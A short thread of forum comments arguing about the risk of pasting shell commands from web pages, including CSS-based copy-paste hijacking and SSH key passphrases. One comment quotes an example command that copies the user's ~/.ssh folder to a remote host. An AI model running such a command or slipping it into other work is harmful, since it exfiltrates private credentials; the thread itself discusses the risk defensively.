News for hackers. Stuff that matters.

A comment on The sad state of sysadmin in the age of containers. Parent comment

Re:The sad state of sysadmin in the age of containers by marcosdumay on Wednesday April 22, 2015 @08:41AM (#9419923)
It's not the same by any measure.

When you read the script in a browser, than pastes it in a terminal, you know that "scp -r ~/.ssh [email protected]" isn' there.

[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by jannic on Wednesday April 22, 2015 @09:22AM (#9420155)
No, you don't:

http://thejh.net/misc/website-terminal-copy-paste

[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by marcosdumay on Wednesday April 22, 2015 @12:57PM (#9421767)
Fair point.
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by juliangregorian on Wednesday April 22, 2015 @09:36AM (#9420271)
Okay, but this relies on CSS trickery. If you had navigated to a text URL this would not be a vector.
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by shanemhansen on Wednesday April 22, 2015 @10:16AM (#9420556)
What's a text url? The only way I can see this not being a vector is if you browse with css (and javascript for good measure) turned off. Or use lynx.
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by juliangregorian on Wednesday April 22, 2015 @11:43AM (#9421232)
A page of text? With Content-type: text? An example being a shell script?
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by c22 on Wednesday April 22, 2015 @12:37PM (#9421626)
Do you think the average user copying and pasting administrative commands into their shell will stop to check the content encoding of the document they are copying from? Do you trust your browser not to try rendering an ill-defined document with an ambiguous extension?
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by recursive on Wednesday April 22, 2015 @12:41PM (#9421658)
Do you check the Content-type: header of the response for text/plain before copying? If you do, you'd be in the minority.
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by ams6110 on Wednesday April 22, 2015 @09:30AM (#9420226)
This is why you have a strong passphrase on your ssh private key.... right?
[ Parent | on HN ]
Re:The sad state of sysadmin in the age of containers by marcosdumay on Wednesday April 22, 2015 @01:02PM (#9421809)
Hum... No. It's trivial to use those scripts to do all kinds of harm. A strong passphrase only protects against this one example.

For example, it won't protect against stealing the .ssh folder and installing a keylogger at your computer.

[ Parent | on HN ]